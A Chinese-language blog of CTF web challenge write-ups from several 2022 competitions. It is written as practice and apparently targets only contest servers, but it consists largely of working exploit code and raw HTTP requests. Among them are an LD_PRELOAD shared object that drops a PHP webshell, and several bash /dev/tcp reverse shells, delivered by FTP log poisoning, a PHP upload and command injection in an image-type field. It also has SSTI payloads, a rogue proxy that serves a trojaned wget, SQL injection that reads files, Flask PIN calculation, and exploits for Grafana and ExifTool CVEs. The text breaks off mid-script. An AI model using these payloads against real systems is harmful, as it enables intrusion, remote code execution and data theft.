web太难了，，哦不我太菜了，学的东西太浅了，赛后复现一下

ezphp

以为要跟dash，，，，想了下上传so，，但是session有杂的东西，，，，nginx post 会在 /proc/pid/fd/fd 下生成临时文件、、、学到了

贴几个链接https://tttang.com/archive/1384/ 环境变量 ld_preload = /proc/$nginx_work_pid/fd/$fd

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
 system("echo '<?php @eval($_POST[1]);?>' > /var/www/html/shell.php");
} 
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

1
2


gcc -c -fPIC hack.c -o hack
gcc -shared hack -o hack.so

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47


import threading, requests, sys, time
url_target = f'http://1.14.71.254:28644/index.php'
nginx_workers = [12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27]
flag = False

def upload():
 global flag
 print('[+] starting upload')
 with open("hack.so","rb") as f:
 data = f.read()
 while not flag:
 requests.get(url = url_target,data=data)

def exp(pid):
 global flag
 while not flag:
 print(f'[+] brute loop restarted: {pid}')
 for fd in range(4, 32):
 try:
 requests.get(url = url_target, params = {'env': f"LD_PRELOAD=/proc/{pid}/fd/{fd}"})
 except:
 pass

def check():
 global flag
 while not flag:
 print('[+] starting check')
 try:
 r = requests.get("http://1.14.71.254:28644/shell.php")
 print(r.status_code == 200)
 if r.status_code == 200:
 flag = True
 sys.exit()
 except:
 pass
 time.sleep(3)

t3 = threading.Thread(target = check)
t3.start()

for _ in range(16):
 t1 = threading.Thread(target = upload)
 t1.start()

for pid in nginx_workers:
 t2 = threading.Thread(target = exp,args = (pid, ))
 t2.start()

RITSEC CTF

Web all kill

web

php1

替换为空构造 https://ctf.ritsec.club/php1/index.php?bingus=binbingusgus

RS{B1ngus_0ur_B3lov3d}

php2

去掉 __sleep 构造序列化 Cookie user=O%3A4%3A%22User%22%3A1%3A%7Bs%3A4%3A%22role%22%3Bs%3A5%3A%22Admin%22%3B%7D

RS{C3re4l_B1ngu5}

php3

哈希碰撞 https://ctf.ritsec.club/php3/index.php?input1[]=1&input2[]=2 RS{Th3_H@sh_Sl1ng1ng_5lash3r}

RITSEC calculator

jsfuck debug得到源码 RS{ESOTERIC_GUAVA_SCRIPT}

Really Cool Encryption

fuzz rce

{php}echo `id`;{/php}

提nm RCE后看一下dockerfile pull一下那个镜像 run一下给flag？？？？ RS{CHANDI_HEADREST}

Down the Data Streams

给的数据是十六进制，跑下来拼一下是图片就是flag

不知道有没有好方法，只能硬跑14420次交互，服务器在境外还跑得贼nm慢

Bingus Access

fuzz

GET /bingus-access/index.php?file=%2fvar%2flog%2fvsftpd%2elog HTTP/2
Host: ctf.ritsec.club

HTTP/2 200 OK
Content-Type: text/html; charset=UTF-8
Date: Sun, 03 Apr 2022 09:33:37 GMT
Server: Caddy
Server: Apache/2.4.25 (Debian)
Vary: Accept-Encoding
X-Powered-By: PHP/7.2.1
Content-Length: 1536

Sun Apr 3 09:33:36 2022 [pid 87684] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149"
Sun Apr 3 09:33:36 2022 [pid 87686] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149"
Sun Apr 3 09:33:36 2022 [pid 87664] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149"
Sun Apr 3 09:33:36 2022 [pid 87666] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149"
Sun Apr 3 09:33:36 2022 [pid 87690] CONNECT: Client "::ffff:89.64.40.149"
Sun Apr 3 09:33:36 2022 [pid 87668] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149"
Sun Apr 3 09:33:36 2022 [pid 87672] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149"
Sun Apr 3 09:33:36 2022 [pid 87670] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149"
Sun Apr 3 09:33:36 2022 [pid 87658] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149"
Sun Apr 3 09:33:36 2022 [pid 87674] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149"
Sun Apr 3 09:33:36 2022 [pid 87676] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149"

用户名可控跑个脚本,把shell弹出来

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


from ftplib import FTP
ip = 'ctf.ritsec.club'
port = 2121
def test_ftp():
 ftp=FTP()
 ftp.connect(ip,port)
 ftp.login('<?php system("bash -c \'exec bash -i &>/dev/tcp/ip/port <&1\'");?>',"123")#如果是匿名登录，直接ftp.login()
 files = ftp.dir()
# <?php system('')?>

if __name__ == '__main__':
 i = 1
 while True:
 i = i + 1
 print(i)
 try:
 test_ftp()
 except:
 pass

HackPack 2022

web TupleCoin

source 看robots.txt 有一个back

核心代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47


class Transaction(BaseModel):
 from_acct: int
 to_acct: int
 num_tuco: float

 def serialize(self) -> bytes:
 return (str(self.from_acct) + str(self.to_acct) + str(self.num_tuco)).encode()

 def sign(self, secret_key: bytes) -> AuthenticatedTransaction:
 tuco_smash = self.serialize()
 tuco_hash = hmac.new(secret_key, tuco_smash, "sha256").hexdigest()
 
 return CertifiedTransaction.parse_obj({
 "transaction": {
 "from_acct": self.from_acct,
 "to_acct": self.to_acct,
 "num_tuco": self.num_tuco
 },
 "auth_tag": tuco_hash,
 })


class CertifiedTransaction(BaseModel):
 transaction: Transaction
 auth_tag: str

 def verify(self, secret_key: bytes) -> Transaction:
 recreated = self.transaction.sign(secret_key)
 if hmac.compare_digest(self.auth_tag, recreated.auth_tag):
 return self.transaction
 else:
 raise ValueError("invalid authenticated transaction")
 
@app.post("/api/transaction/certify")
async def transaction_certify(transaction: Transaction) -> CertifiedTransaction:
 if transaction.from_acct == TUCO_ACCT_NUM:
 raise HTTPException(status_code=400, detail="Ha! You think you can steal from Tuco so easily?!!")
 return transaction.sign(SECRET_KEY)


@app.post("/api/transaction/commit")
async def transaction_commit(certified_transaction: CertifiedTransaction) -> str:
 transaction = certified_transaction.verify(SECRET_KEY)
 if transaction.from_acct != TUCO_ACCT_NUM:
 return "OK"
 else:
 return FLAG

重点在 def serialize(self) -> bytes:这个函数上没有分隔，可以拼接parm

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


import hmac
SECRET_KEY = b'\x07\xd8\xc1\xef\xd0\xc1=\xc0\xf8\xdeJ\x114\x83G\x08C\xe1m\xbdX5~\xac\x95V\xd1p\x7f-SV'

class Transaction():
 from_acct:int
 to_acct:int
 num_tuco:int

 def __init__(self, from_acct, to_acct, num_tuco):
 self.from_acct = from_acct
 self.to_acct = to_acct
 self.num_tuco = num_tuco

 def serialize(self) -> bytes:
 return (str(self.from_acct) + str(self.to_acct) + str(self.num_tuco)).encode()

 def sign(self):
 tuco_smash = self.serialize()
 tuco_hash = hmac.new(SECRET_KEY, tuco_smash, "sha256").hexdigest()
 return tuco_hash

transaction = Transaction(31415926,51,1)
print(transaction.sign())
transaction2 = Transaction(314159265,1,1)
print(transaction2.sign())
print(transaction.sign() == transaction2.sign())

输出

e7ce89169c2204aed4fb8ebe29ff3792b84d910e5fffe5acca943576a03382cc
e7ce89169c2204aed4fb8ebe29ff3792b84d910e5fffe5acca943576a03382cc
True

由此可以构造http包

POST /api/transaction/certify HTTP/2
Host: tuplecoin.cha.hackpack.club
Content-Length: 48
Content-Type: application/json; charset=UTF-8

{"from_acct":31415926,"to_acct":51,"num_tuco":1}

HTTP/2 200 OK
Content-Type: application/json
Date: Wed, 13 Apr 2022 11:30:15 GMT
Server: uvicorn
Content-Length: 144

{"transaction":{"from_acct":31415926,"to_acct":51,"num_tuco":1.0},"auth_tag":"90621b5820be300662123ceccdeab62f9fb2c5957e630e0c8da555295ea3c137"}

再构造

POST /api/transaction/commit HTTP/2
Host: tuplecoin.cha.hackpack.club
Content-Length: 144
Content-Type: application/json; charset=UTF-8

{"transaction":{"from_acct":314159265,"to_acct":1,"num_tuco":1.0},"auth_tag":"90621b5820be300662123ceccdeab62f9fb2c5957e630e0c8da555295ea3c137"}

拿到flag

*CTF

[web]babyweb

简单的跳转，，，刚开始没考虑端口，，无语

exp

1
2
3
4
5
6
7


<?php 
function redirect($url)
{
 header("Location: $url");
 exit();
}
redirect('http://127.0.0.1:8089/flag');

放公网上然后提交对应url，访问返回的download/xxxxx 拿到flag

*ctf{A_Easy_SSRF_YOU_KNOW}

[web]oh-my-grafana

CVE-2021-43798 任意文件读取

读 /etc/grafana/grafana.ini 读取grafana 的默认密码

admin_password = 5f989714e132c9b04d4807dafeb10ade

可以注入

可以执行任意sql语句

POST /api/ds/query HTTP/1.1
Host: 123.60.66.194:3000
Content-Length: 156
accept: application/json, text/plain, */*
x-grafana-org-id: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
content-type: application/json
Origin: http://123.60.66.194:3000
Referer: http://123.60.66.194:3000/explore?orgId=1&left=%5B%22now-1h%22,%22now%22,%22MySQL%22,%7B%22refId%22:%22A%22,%22format%22:%22time_series%22,%22timeColumn%22:%22time%22,%22metricColumn%22:%22none%22,%22group%22:%5B%5D,%22where%22:%5B%7B%22type%22:%22macro%22,%22name%22:%22$__timeFilter%22,%22params%22:%5B%5D%7D%5D,%22select%22:%5B%5B%7B%22type%22:%22column%22,%22params%22:%5B%22value%22%5D%7D%5D%5D,%22rawQuery%22:true,%22rawSql%22:%22SELECT%201;%5Cn%22%7D%5D
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: grafana_session=afb5489f3febd540690500b9a60ed890
Connection: close

{"queries":[{"refId":"A","datasourceId":1,"rawSql":"select * from fffffflllllllllaaaagggggg","format":"table"}],"from":"1650100891845","to":"1650104491845"}

翻库找到flag

*ctf{Upgrade_your_grafAna_now!}

[misc]Grey

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


#!/usr/bin/python3
import os
import binascii
import struct

crcbp = open("useforcheck.png", "rb").read() #打开图片
for i in range(2000):
 for j in range(2000):
 data = crcbp[12:16] + \
 struct.pack('>i', i)+struct.pack('>i', j)+crcbp[24:29]
 crc32 = binascii.crc32(data) & 0xffffffff
 if(crc32 == 0xa7b63550): #图片当前CRC
 print(i, j)
 print('hex:', hex(i), hex(j))

跑一下长宽

中间一段flag用010打开在文件末尾……

*CTF{Catch_m3_1F_y0u_cAn}

[web]oh-my-notepro

http://172.21.198.90:5002/view?note_id=ulcojp87kj7zdh5982couboqnk6rgst2%27 存在sql注入

报错得到部分源码

1
2
3


sql = f"select * from notes where note_id='{note_id}'"
print(sql)
result = db.session.execute(sql, params={"multi":True})

http://172.21.198.90:5002/view?note_id=1' union select 1,2,3,'{{7*7}}',123132123;%23 执行任意sql语句并返回结果

payload:

http://172.21.198.90:5002/view?note_id=1' union select 1,2,3,4,(select group_concat(table_name) from information_schema.tables where table_schema=database());CREATE TABLE IF NOT EXISTS `kxytest2` (
 `name` TEXT
);load data local infile "C:\\Windows\\win.ini" into table kxytest2 FIELDS TERMINATED BY '\n';%23



http://172.21.198.90:5002/view?note_id=1' union select 1,2,3,4,(select group_concat(name) from kxytest2);%23

任意文件读取

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


import requests
from bs4 import BeautifulSoup
import random
import string
# from pin import solve

headers = {
 'Cookie':'session=eyJjc3JmX3Rva2VuIjoiOWJjZTdhNWNlNTEyNjJmNzY4N2RjNWU2ZGZhMzYyMWY2ZTU5NTNlNiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.Yl6Xag.U0Md2fed8ubb4rxB45J0y6DJ0R0'
}

def get_content(filename):
 print("[+]readfile: " + filename)
 ran_str = ''.join(random.sample(string.ascii_letters + string.digits, 8))
 print("[+]table: " + ran_str)
 url = f"""http://172.21.198.90:5002/view?note_id=1';CREATE TABLE IF NOT EXISTS `{ran_str}` (
 `name` TEXT
);load data local infile "{filename}" into table {ran_str} FIELDS TERMINATED BY '\n';%23"""
 r = requests.get(url,headers=headers)

 url = f"""http://172.21.198.90:5002/view?note_id=1' union select 1,2,3,4,(select group_concat(name) from {ran_str});%23"""
 # print(url)
 r = requests.get(url,headers=headers)

 soup = BeautifulSoup(r.text, 'lxml')
 print("[+]result: " + soup.find('h1',attrs={'style': 'text-align: center'}).string)

get_content('/etc/machine-id')
get_content('/proc/sys/kernel/random/boot_id')
get_content('/proc/self/cgroup')
get_content('/sys/class/net/eth0/address')

算pin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


import hashlib
from itertools import chain

def solve(username, eth0, machine_id, cgroup):
 probably_public_bits = [
 username,# username ok
 'flask.app', # ok
 'Flask' #ok,
 '/usr/local/lib/python3.8/site-packages/flask/app.py' # ok
]

 private_bits = [
 eth0,# /sys/class/net/eth0/address
 machine_id + cgroup
 # '7cb84391-1303-4564-8eff-ef7571804198327e92627edf30f63fde916e3c3017aea76eeb876265a726270a575d391eeb4a'# machine-id
 # /etc/machine-id + /proc/self/cgroup
 ]

 h = hashlib.sha1()
 for bit in chain(probably_public_bits, private_bits):
 if not bit:
 continue
 if isinstance(bit, str):
 bit = bit.encode('utf-8')
 h.update(bit)
 h.update(b'cookiesalt')

 cookie_name = '__wzd' + h.hexdigest()[:20]

 num = None
 if num is None:
 h.update(b'pinsalt')
 num = ('%09d' % int(h.hexdigest(), 16))[:9]

 rv =None
 if rv is None:
 for group_size in 5, 4, 3:
 if len(num) % group_size == 0:
 rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
 for x in range(0, len(num), group_size))
 break
 else:
 rv = num
 print(rv)
solve('ctf',str(int('02:42:ac:14:00:03'.replace(':',''),16)),'96cec10d3d9307792745ec3b85c89620','79804164df902a6bc925fb7d70a6e3b857c9a4af0e2c2d78a49b7c1954d9d078')

然后执行命令

[web]oh-my-lotto

先预测一下，然后改PATH 让wget command not found 这样就不会下载新的result

然后去result看一下上一次预测的字符串上传一个一模一样的就行了

注意这里的文本用rb打开字符串换行是\n而在window上编辑换行是\r\n

所以这里我用python二进制写入文本

[web]oh-my-lotto-revenge

覆写模板 SSTI RCE

上传文件

http_proxy = you_vps_ip:18181
referer = http://ssti_me/
output_document = /app/templates/index.html

设置环境变量 WGETRC = /app/guess/forecast.txt 刚刚上传的文件

这样相当于给wget设置一个代理

让wget下载我们可控的文件文件内容

服务器

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


import socket

HOST = '0.0.0.0'
PORT = 18181

content_ssti = r'''HTTP/1.0 200 OK
Content-type: text/x-python
Content-Length: 249
Content-Disposition: attachment; filename=index.html

{{(x|attr(request.cookies.w1)|attr(request.cookies.w2)|attr(request.cookies.w3))(request.cookies.w4).eval(request.cookies.w5)}}
'''



#Configure socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((HOST, PORT))
sock.listen(100)

#infinite loop
while True:
 # maximum number of requests waiting
 conn, addr = sock.accept()
 request = conn.recv(1024).decode()
 print(request)
 if 'ssti' in request:
 conn.sendall(content_ssti.encode())
 else:
 pass

 #close connection
 conn.close()

覆写ssti

携带cookie访问主页

Cookie：w1=__init__;w2=__globals__;w3=__getitem__;w4=__builtins__;w5=__import__('os').popen('任意命令').read()

执行env得到flag

也可以直接覆写wget 修改wget来RCE

rce.c

1
2
3
4
5
6


#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void main() {
 system("bash -c 'exec bash -i &>/dev/tcp/ip/11011 <&1'");
}

1
2
3
4


gcc -E rce.c -o rce.i
gcc -S rce.i -o rce.s
gcc -c rce.s -o rce.o
gcc rce.o -o wget

然后服务端

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47


#!/usr/bin/python3
import socket

HOST = '0.0.0.0'
PORT = 18181

content_ssti = rf"""HTTP/1.0 200 OK
Content-type: text/x-python
Content-Length: {len((open('./wget','rb').read()))}
Content-Disposition: attachment; filename=wget

"""

fuck_content = r'''
HTTP/1.0 200 OK
Content-type: text/x-python
Content-Length: 11

fuck you!!!
'''


#Configure socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((HOST, PORT))
sock.listen(100)

#infinite loop
while True:
 # maximum number of requests waiting
 conn, addr = sock.accept()
 request = conn.recv(1024).decode()
 print(request)
 if 'ssti' in request:
 conn.sendall(content_ssti.encode())
 fo = open('./wget','rb')
 while True:
 filedata = fo.read(1024)
 if not filedata:
 break
 conn.send(filedata)
 fo.close()
 else:
 conn.sendall(fuck_content.encode())

 #close connection
 conn.close()

MRCTF

[WEB]webcheckin

上了波车，拿到源码审计一下

此处会执行我们的上传的php代码(root权限)

1

a = subprocess.Popen(["php -dvld.verbosity=1 -dvld.active=1 -dvld.execute=1 " + each_filepath],

弹个shell

POST / HTTP/1.1
Host: webshell.node3.mrctf.fun
Content-Length: 279
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://webshell.node3.mrctf.fun
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytALBjmF5CJrH78jB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://webshell.node3.mrctf.fun/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarytALBjmF5CJrH78jB
Content-Disposition: form-data; name="file"; filename="test45072.php"
Content-Type: application/octet-stream

<?php
system("bash -c 'exec bash -i &>/dev/tcp/ip/11011 <&1'");?>
------WebKitFormBoundarytALBjmF5CJrH78jB--

翻日志找到flag

root@cb961d9e7cf3:/var/log# grep -rn "MRCTF" .
grep -rn "MRCTF" .
./dpkg.log:1881:MRCTF{3f1d6ea4-d544-46f8-ba7c-cfcd0efa31ae}

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177


from flask import Flask, request
from werkzeug.utils import secure_filename # 获取上传文件的文件名
import random
import hashlib
import shutil
import subprocess
import pickle
import pandas as pd
import os,stat
import re

UPLOAD_FOLDER = r'/tmp/upload/' # 上传路径
ALLOWED_EXTENSIONS = set(['php']) # 允许上传的文件类型

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER



with open('/tmp/vec-model.pkl', "rb") as file: vectorizer = pickle.load(file)
with open('/tmp/rfc-model.pkl', "rb") as file: rfc = pickle.load(file)
# vectorizer = joblib.load('vectorizer.pkl')
# rfc = joblib.load('rfc.pkl')

RD, WD, XD = 4, 2, 1
BNS = [RD, WD, XD]
MDS = [
 [stat.S_IRUSR, stat.S_IRGRP, stat.S_IROTH],
 [stat.S_IWUSR, stat.S_IWGRP, stat.S_IWOTH],
 [stat.S_IXUSR, stat.S_IXGRP, stat.S_IXOTH]
]


def chmod(path, mode):
 if isinstance(mode, int):
 mode = str(mode)
 if not re.match("^[0-7]{1,3}$", mode):
 raise Exception("mode does not conform to ^[0-7]{1,3}$ pattern")
 mode = "{0:0>3}".format(mode)
 mode_num = 0
 for midx, m in enumerate(mode):
 for bnidx, bn in enumerate(BNS):
 if (int(m) & bn) > 0:
 mode_num += MDS[bnidx][midx]
 os.chmod(path, mode_num)

def index_of_str(s1, s2):
 res = []
 len1 = len(s1)
 len2 = len(s2)
 if s1 == "" or s2 == "":
 return -1
 for i in range(len1 - len2 + 1):
 if s1[i] == s2[0] and s1[i:i+len2] == s2:
 res.append(i)
 return res if res else -1

def detector(each_filepath):


 print("模型成功加载")

 each_path = "/tmp/upload/test.php"
 try:
 a = subprocess.Popen(["php -dvld.verbosity=1 -dvld.active=1 -dvld.execute=1 " + each_filepath],
 stdout=subprocess.PIPE,
 stderr=subprocess.PIPE, shell=True)
 with open(each_filepath+".op", "wb") as fp:
 fp.write(a.communicate()[1])
 fp.close()
 print(each_path)
 words_operands = ""
 words_op = ""
 with open(each_filepath+".op", "r") as fp:
 tmp = fp.readlines()
 flag = 0
 idx_op = 0
 data = []
 all_data = []
 for i in range(0, len(tmp)):

 if "\n" == tmp[i]:
 if flag == 1:
 all_data.append(data)
 data = []
 flag = 0
 if flag == 1:
 # print(each)
 a = tmp[i][:-1]
 each_op = a[idx_op:idx_fetch].lstrip().rstrip()
 each_operands = a[idx_operands:].lstrip().rstrip()
 each_return = a[idx_return:idx_operands].lstrip().rstrip()
 data.append([each_op, each_return, each_operands, 1])
 words_operands += each_operands + " "
 words_op += each_op + " "

 if "---" in tmp[i]:
 flag = 1
 idx_op = index_of_str(tmp[i - 1], "op")[0]
 idx_operands = index_of_str(tmp[i - 1], "operands")[0]
 idx_fetch = index_of_str(tmp[i - 1], "fetch")[0]
 idx_return = index_of_str(tmp[i - 1], "return")[0]

 except:
 print("can't parse")
 exit(0)

 vector = vectorizer.transform([words_op])
 print(vector.shape)
 vec = vector.toarray()

 print(vec)

 df = pd.DataFrame(vec)

 print(rfc.predict(df))
 if rfc.predict(df) == 1:
 return 1

def gen_path():
 seed = "1234567890abcdefghiZQAXSWCDEVFRBGTNHYJMUKOLPjklmnopqrstuvwxyz"
 sa = []
 for i in range(15):
 sa.append(random.choice(seed))
 salt = ''.join(sa)
 print(salt) # 打印显示的随机字符
 hash = hashlib.md5()
 hash.update(salt.encode())
 md5_test = hash.hexdigest()

 return md5_test


import os


def mkdir(path):
 folder = os.path.exists(path)

 if not folder: # 判断是否存在文件夹如果不存在则创建为文件夹
 os.makedirs(path) # makedirs 创建文件时如果路径不存在会创建这个路径


def allowed_file(filename): # 验证上传的文件名是否符合要求，文件名必须带点并且符合允许上传的文件类型要求，两者都满足则返回 true
 return '.' in filename and \
 filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS

@app.route('/', methods=['GET', 'POST'])
def upload_file():
 if request.method == 'POST': # 如果是 POST 请求方式
 file = request.files['file'] # 获取上传的文件
 if file and allowed_file(file.filename): # 如果文件存在并且符合要求则为 true
 filename = secure_filename(file.filename) # 获取上传文件的文件名
 file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) # 保存文件
 if detector('/tmp/upload/'+filename):
 return 'not allowed!' # 返回保存成功的信息
 else :
 dir_name = gen_path()
 upload_path = "/var/www/html/"+dir_name + '/index.php'
 upload_dir = '/var/www/html/' + dir_name + '/'
 mkdir(upload_dir)
 shutil.move(os.path.join(app.config['UPLOAD_FOLDER'], filename), upload_path)
 chmod(upload_dir,555)
 return upload_path.replace("/var/www/html/","/shell/")
 # 使用 GET 方式请求页面时或是上传文件失败时返回上传文件的表单页面
 return '''
 <!doctype html>
 <title>Upload new File</title>
 <h1>Upload new File</h1>
 <form action="" method=post enctype=multipart/form-data>
 <p><input type=file name=file>
 <input type=submit value=Upload>
 </form>
 '''

os.system("service apache2 restart")
app.run("0.0.0.0",5000)

春秋杯

[web]picture_convert

核心代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


@app.route('/upload', methods=['GET', 'POST'])
def upload():
 type = request.form.get("type", "jpg")
 file_info = request.files['file']
 file_data = file_info.read()
 if check_data(file_data):
 return "No hacker"
 f = open("./static/images/tmpimg", 'wb')
 f.write(file_data)
 f.close()
 new_filename = str(uuid.uuid4()) + '.' + type
 session["filename"] = new_filename
 print(new_filename)
 return "文件上传成功，其他模块还在开发中~~~"

@app.route('/convert', methods=['GET'])
def convert():
 print(f"su - conv -c 'cd /app/static/images/ && convert tmpimg {session['filename']}'")
 os.system(f"su - conv -c 'cd /app/static/images/ && convert tmpimg {session['filename']}'")
 json_data = {"path": session['filename']}
 return json.dumps(json_data)

session[‘filename’] 处可控，可以命令注入

发包，弹个shell，然后cat flag* 就行了

POST /upload HTTP/1.1
Host: eci-2ze052u8r1rhe9sxadr3.cloudeci1.ichunqiu.com:8888
Content-Length: 389
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVrVSavkEhau25WE2
Origin: http://eci-2ze052u8r1rhe9sxadr3.cloudeci1.ichunqiu.com:8888
Referer: http://eci-2ze052u8r1rhe9sxadr3.cloudeci1.ichunqiu.com:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1651813802; ci_session=f5b19a1595270547cebe75ae6ce4227dbd3e59b1; __jsluid_h=d234c46bd056a4881f51aef688ff89ac
Connection: close

------WebKitFormBoundaryVrVSavkEhau25WE2
Content-Disposition: form-data; name="type"

jpg';bash -c 'exec bash -i &>/dev/tcp/ip/11011 <&1';'
------WebKitFormBoundaryVrVSavkEhau25WE2
Content-Disposition: form-data; name="file"; filename="123.png"
Content-Type: image/png

test
------WebKitFormBoundaryVrVSavkEhau25WE2--

[web]picture_convert_plus

打 cve CVE-2021-22204

https://www.anquanke.com/post/id/266606#h3-13

printf 'P1 1 1 0' > moo.pbm

cjb2 moo.pbm moo.djvu

printf 'ANTa\0\0\0\36"(xmp(\\\n".`(echo 2>/tmp/4)`;#"' >> moo.djvu

这里的36用python2 oct(len('"(xmp(\\\n".`(echo 2>/tmp/4)`;#"'))
算出来的
(里面放命令)

测试用的su - exif -c '/app/exiftool-12.23/exiftool /app/static/moo.djvu'

能执行命令，exif权限….

拿到一半flag，另一半的flag没打通，赛后问了一下苏安师傅，非预期，直接在/proc下grep flag ….

官方wp没出，题目环境还要认证，，盖章，，乌鱼子

m0lecon

[web]fancynotes

hash拓展攻击 https://www.cnblogs.com/pcat/p/5478509.html

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


import hashpumpy
from base64 import b64encode
import requests
proxies = {"http": "http://192.168.0.110:8080"}
def req(exp):
 burp0_url = "https://fancynotes.m0lecon.fans/notes"
 burp0_cookies = {"user": exp}
 burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"", "Sec-Ch-Ua-Mobile": "?0", "Sec-Ch-Ua-Platform": "\"Windows\"", "Upgrade-Insecure-Requests": "1",
 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "https://fancynotes.m0lecon.fans/login", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
 r = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, allow_redirects=False)
 if r.status_code==302:
 print(r.status_code)
 else:
 print(burp0_cookies)
 exit()

def gencookie(i):
 
 res = hashpumpy.hashpump("17cb085301c56cbf64bacf48bff77a6776940745c895babd8df05e85da1ee1cc",
